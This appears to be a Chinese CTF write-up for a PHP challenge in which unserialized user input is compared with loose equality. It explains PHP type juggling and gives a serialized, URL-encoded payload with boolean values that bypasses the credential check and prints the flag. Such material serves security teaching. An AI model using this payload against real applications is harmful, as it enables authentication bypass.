题目
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
思路
要解决这个问题,我们需要构造一个特殊的序列化数组,利用 PHP 松散类型比较的特性,使得无论$username
和$password
的值如何修改,比较结果都为真。
分析
-
代码逻辑:通过反序列化
info
参数得到一个数组,检查其username
和password
是否与当前脚本中的变量值相等。 -
松散比较(==):PHP 在松散比较时会将不同类型的数据转换后再比较。例如,如果数组中的
username
和password
的值是true
,而当前脚本中的password
的值是非空字符串,那么比较也会成立。 -
构造布尔值数组:将数组中的
username
和password
设为布尔值true
,这样只要原变量是非空字符串,比较就会成立。
扩展:那为什么不能username直接等于thisissecret,password等于thisisnotknownto_you呢
因为出题人是个骗子,真实的可能不是这两个值。直接修改为任意非空字符串,比较结果成立
EXP
-
创建数组:
$data = array('username' => true, 'password' => true);
-
序列化数组:
echo serialize($data); // 结果为:a:2:{s:8:"username";b:1;s:8:"password";b:1;}
-
URL 编码:将序列化后的字符串进行 URL 编码。
最终 Payload
?info=a%3A2%3A%7Bs%3A8%3A%22username%22%3Bb%3A1%3Bs%3A8%3A%22password%22%3Bb%3A1%3B%7D
将此 Payload 作为info
参数的值发送,即可绕过检查,输出 flag。